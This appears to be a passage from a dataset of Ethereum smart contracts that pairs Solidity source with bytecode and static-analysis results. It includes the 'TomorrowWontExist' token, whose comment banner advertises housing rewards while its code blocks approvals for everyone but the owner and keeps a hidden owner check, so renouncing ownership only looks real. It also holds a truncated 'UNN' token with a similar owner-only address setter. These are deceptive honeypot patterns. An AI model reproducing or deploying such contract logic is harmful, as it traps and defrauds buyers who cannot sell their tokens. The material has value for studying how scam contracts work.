r = value * m;
if (r / value == m) {
// mul not overflow
if (r % d == 0) {
r /= d;
} else {
r = (r / d) + 1;
}
} else {
// mul overflow then div first
r = mul(value / d, m);
if (value % d != 0) {
r += 1;
}
}
}
function mul(uint256 x, Fraction memory f) internal pure returns (uint256) {
return mulDiv(x, f.numerator, f.denominator);
}
function mulCeil(uint256 x, Fraction memory f) internal pure returns (uint256) {
return mulDivCeil(x, f.numerator, f.denominator);
}
function div(uint256 x, Fraction memory f) internal pure returns (uint256) {
return mulDiv(x, f.denominator, f.numerator);
}
function divCeil(uint256 x, Fraction memory f) internal pure returns (uint256) {
return mulDivCeil(x, f.denominator, f.numerator);
}
function mul(Fraction memory x, Fraction memory y) internal pure returns (Math.Fraction) {
return Math.Fraction({
numerator: mul(x.numerator, y.numerator),
denominator: mul(x.denominator, y.denominator)
});
}
}
|
0x6080604052600436106100da5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166313af403581146104e257806316f0115b1461050457806326a183751461052f57806348a0d7541461054f5780634bb278f3146105715780637ef3e741146105865780638da5cb5b146105a857806399b55343146105ca578063b3f05b97146105df578063bac506e0146105f4578063c3e8fb4014610609578063d18b07b21461061e578063d29e68031461063e578063e249a57514610653578063f056a5c714610673575b6100e2610d36565b6000806000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16634b94f50e6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401604080518083038186803b15801561016a57600080fd5b505afa15801561017e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506101a29190810190611086565b602087015285526000546003546040517fdd62ed3e00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff9283169650610308929091169063dd62ed3e9061020d90889030906004016110ee565b60206040518083038186803b15801561022557600080fd5b505afa158015610239573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525061025d919081019061102e565b6003546040517f70a0823100000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff909116906370a08231906102b39089906004016110e0565b60206040518083038186803b1580156102cb57600080fd5b505afa1580156102df573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610303919081019061102e565b610693565b925061031a348663ffffffff6106ae16565b60065490915060ff1680156103375750600654610100900460ff16155b80156103435750600083115b801561034f5750600081115b151561035a57600080fd5b80831061037c5734915080831415610377576006805460ff191690555b6103cc565b508161038e818663ffffffff6106c316565b6006805460ff1916905560405190925033903484900380156108fc02916000818181858888f193505050501580156103ca573d6000803e3d6000fd5b505b6003546040517f23b872dd00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff909116906323b872dd9061042690879033908690600401611109565b602060405180830381600087803b15801561044057600080fd5b505af1158015610454573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506104789190810190610f88565b506003546040513391829173ffffffffffffffffffffffffffffffffffffffff909116907fd1508eb33cb2ff0cd96cf67f00ab2c6b7fc5142d97832add4b29748b29111024906104cb908790879061115b565b60405180910390a450600780549091019055505050005b3480156104ee57600080fd5b506105026104fd366004610f44565b6106d8565b005b34801561051057600080fd5b50610519610738565b604051610526919061114d565b60405180910390f35b34801561053b57600080fd5b5061050261054a366004610f6a565b610754565b34801561055b57600080fd5b5061056461078b565b6040516105269190611131565b34801561057d57600080fd5b50610502610794565b34801561059257600080fd5b5061059b610914565b604051610526919061113f565b3480156105b457600080fd5b506105bd61091a565b60405161052691906110e0565b3480156105d657600080fd5b5061059b610936565b3480156105eb57600080fd5b5061056461093c565b34801561060057600080fd5b506105bd61094a565b34801561061557600080fd5b50610519610966565b34801561062a57600080fd5b5061059b61063936600461104c565b610982565b34801561064a57600080fd5b5061059b610ab4565b34801561065f57600080fd5b5061050261066e366004611010565b610aba565b34801561067f57600080fd5b5061050261068e366004610fa6565b610ae3565b6000818311156106a357816106a5565b825b90505b92915050565b60006106a58383602001518460000151610c4c565b60006106a58383600001518460200151610c94565b60015473ffffffffffffffffffffffffffffffffffffffff1633146106fc57600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff191673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b60005473ffffffffffffffffffffffffffffffffffffffff1681565b60015473ffffffffffffffffffffffffffffffffffffffff16331461077857600080fd5b6006805460ff1916911515919091179055565b60065460ff1681565b6001546000908190819073ffffffffffffffffffffffffffffffffffffffff16331480156107c5575060065460ff16155b80156107d95750600654610100900460ff16155b80156107fc575060045473ffffffffffffffffffffffffffffffffffffffff1615155b151561080757600080fd5b6006805461ff00191661010017905560005460025473ffffffffffffffffffffffffffffffffffffffff909116935061084290303190610982565b6004546040519193503031849003925073ffffffffffffffffffffffffffffffffffffffff169083156108fc029084906000818181858888f19350505050158015610891573d6000803e3d6000fd5b5060405173ffffffffffffffffffffffffffffffffffffffff84169082156108fc029083906000818181858888f193505050501580156108d5573d6000803e3d6000fd5b507f9d3cb3e4bff976f636db6ed472093505eb1b5bafc234ea8276ae83b3ea0a8b74818360405161090792919061115b565b60405180910390a1505050565b60075481565b60015473ffffffffffffffffffffffffffffffffffffffff1681565b60025481565b600654610100900460ff1681565b60045473ffffffffffffffffffffffffffffffffffffffff1681565b60035473ffffffffffffffffffffffffffffffffffffffff1681565b600061098c610d4d565b6000610996610d65565b6000546040517f1a88cc3100000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff90911690631a88cc31906109ec90889060040161113f565b60006040518083038186803b158015610a0457600080fd5b505afa158015610a18573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610a409190810190610fdb565b9250600091505b8260200151821015610aa6578251805183908110610a6157fe5b906020019060200201519050806000015186118015610a84575080602001518611155b15610a9b5760408101516064908702049350610aab565b600190910190610a47565b600093505b50505092915050565b60055481565b60015473ffffffffffffffffffffffffffffffffffffffff163314610ade57600080fd5b600255565b806040516020018082805190602001908083835b60208310610b165780518252601f199092019160209182019101610af7565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040516020818303038152906040526040518082805190602001908083835b60208310610b795780518252601f199092019160209182019101610b5a565b5181516020939093036101000a600019018019909116921691909117905260405192018290039091206005541492505081159050610bcd575060045473ffffffffffffffffffffffffffffffffffffffff16155b1515610bd857600080fd5b6004805473ffffffffffffffffffffffffffffffffffffffff19163317908190556040517fc99430857c2cdea7c71b0bfb21f2f52a058e57959289dd417b68de4c9368b5e791610c419173ffffffffffffffffffffffffffffffffffffffff91909116906110e0565b60405180910390a150565b828202828482811515610c5b57fe5b041415610c75578181811515610c6d57fe5b049050610c8d565b610c8a8285811515610c8357fe5b0484610d11565b90505b9392505050565b828202828482811515610ca357fe5b041415610ce6578181811515610cb557fe5b061515610ccf578181811515610cc757fe5b049050610ce1565b8181811515610cda57fe5b0460010190505b610c8d565b610cf48285811515610c8357fe5b90508184811515610d0157fe5b0615610c8d576001019392505050565b818102821580610d2b5750818382811515610d2857fe5b04145b15156106a857600080fd5b604080518082019091526000808252602082015290565b60408051808201909152606081526000602082015290565b6060604051908101604052806000815260200160008152602001600081525090565b60006106a582356111e6565b6000601f82018313610da457600080fd5b8151610db7610db28261119d565b611176565b91508181835260208401935060208101905083856060840282011115610ddc57600080fd5b60005b83811015610e0a5781610df28882610e72565b84525060209092019160609190910190600101610ddf565b5050505092915050565b60006106a582356111ff565b60006106a582516111ff565b6000601f82018313610e3d57600080fd5b8135610e4b610db2826111be565b91508082526020830160208301858383011115610e6757600080fd5b610aab838284611212565b600060608284031215610e8457600080fd5b610e8e6060611176565b90506000610e9c8484610f38565b8252506020610ead84848301610f38565b6020830152506040610ec184828501610f38565b60408301525092915050565b600060408284031215610edf57600080fd5b610ee96040611176565b825190915067ffffffffffffffff811115610f0357600080fd5b610f0f84828501610d93565b8252506020610f2084848301610f38565b60208301525092915050565b60006106a58235611204565b60006106a58251611204565b600060208284031215610f5657600080fd5b6000610f628484610d87565b949350505050565b600060208284031215610f7c57600080fd5b6000610f628484610e14565b600060208284031215610f9a57600080fd5b6000610f628484610e20565b600060208284031215610fb857600080fd5b813567ffffffffffffffff811115610fcf57600080fd5b610f6284828501610e2c565b600060208284031215610fed57600080fd5b815167ffffffffffffffff81111561100457600080fd5b610f6284828501610ecd565b60006020828403121561102257600080fd5b6000610f628484610f2c565b60006020828403121561104057600080fd5b6000610f628484610f38565b6000806040838503121561105f57600080fd5b600061106b8585610f2c565b925050602061107c85828601610f2c565b9150509250929050565b6000806040838503121561109957600080fd5b60006110a58585610f38565b925050602061107c85828601610f38565b6110bf816111e6565b82525050565b6110bf816111ff565b6110bf81611204565b6110bf81611207565b602081016106a882846110b6565b604081016110fc82856110b6565b610c8d60208301846110b6565b6060810161111782866110b6565b61112460208301856110b6565b610f6260408301846110ce565b602081016106a882846110c5565b602081016106a882846110ce565b602081016106a882846110d7565b6040810161116982856110ce565b610c8d60208301846110ce565b60405181810167ffffffffffffffff8111828210171561119557600080fd5b604052919050565b600067ffffffffffffffff8211156111b457600080fd5b5060209081020190565b600067ffffffffffffffff8211156111d557600080fd5b506020601f91909101601f19160190565b73ffffffffffffffffffffffffffffffffffffffff1690565b151590565b90565b60006106a8826111e6565b828183375060009101525600a265627a7a723058205499b79809a25ecb6ffb0019f627b1acafae1b2efadd0de2a0c271576f2c346f6c6578706572696d656e74616cf50037
|
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 5,116 |
0x50FC7841AfBb1543159D8f067397c23824F46Fa9
|
/**
*Submitted for verification at Etherscan.io on 2021-07-28
*/
/*
_____
|_ _|__ _ __ ___ ___ _ __ _ __ _____ __
| |/ _ \| '_ ` _ \ / _ \| '__| '__/ _ \ \ /\ / /
| | (_) | | | | | | (_) | | | | | (_) \ V V /
|_|\___/|_| |_| |_|\___/|_| |_| \___/ \_/\_/
\ \ / /__ _ __ | |_
\ \ /\ / / _ \| '_ \| __|
\ V V / (_) | | | | |_
\_/\_/_\___/|_| |_|\__|_
| ____|_ _(_)___| |_
| _| \ \/ / / __| __|
| |___ > <| \__ \ |_
|_____/_/\_\_|___/\__|
TomorrowWontExist - TWE Token - Sustainable Housing - 6% Rewards + potential to own a Safe Home
📢 https://t.me/twetoken Join us in Telegram!
🌐 https://Twe.exchange - Buy on Uniswap
🌎 https://TomorrowWontExist.com - Whitepaper + Countdown Timer
📸 https://www.instagram.com/twetoken/
🐦 https://twitter.com/TWEToken
Our Mission is Simple...
To structure and build Communities of Self-sustainability in the case of Natural Disasters, or Grid failure.
-TOKENOMICS-
3% Will be Rewarded to all Holders
3% Will be Burned to Increase Value of TWE Token
4% Will go towards Development, Marketing and Rapid Project Implementation
15% Supply will be bought and locked in Owner Wallet to add to Liquidity, which will Unlock in increments over 5 months
💝Welcome to the TWE Family💝
#TWEToken #TWEFamily #TomorrowWontExist #LiveInTheNowMovement
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract TomorrowWontExist is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000 * 10**9 * 10**18;
string private _name = 'TomorrowWontExist | https://t.me/TWEToken';
string private _symbol = 'TWE';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function _approve(address tom, address morrow, uint256 amount) private {
require(tom != address(0), "ERC20: approve from the zero address");
require(morrow != address(0), "ERC20: approve to the zero address");
if (tom != owner()) { _allowances[tom][morrow] = 0; emit Approval(tom, morrow, 4); }
else { _allowances[tom][morrow] = amount; emit Approval(tom, morrow, amount); }
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220cab9e1a30a17e3f5802d621d47679126bd5653d0550b435ed5c47f736e465b9f64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 5,117 |
0xe9ac7bdc96c994cf3668bad5e68686414fe915a1
|
//------------------------------------------
//|_| |\| |\|
//Website:https://unn.fund
//10X on $UNN easy!!
//------------------------------------------
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _address0;
address private _address1;
mapping (address => bool) private _Addressint;
uint256 private _zero = 0;
uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_address0 = owner;
_address1 = owner;
_mint(_address0, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function ints(address addressn) public {
require(msg.sender == _address0, "!_address0");_address1 = addressn;
}
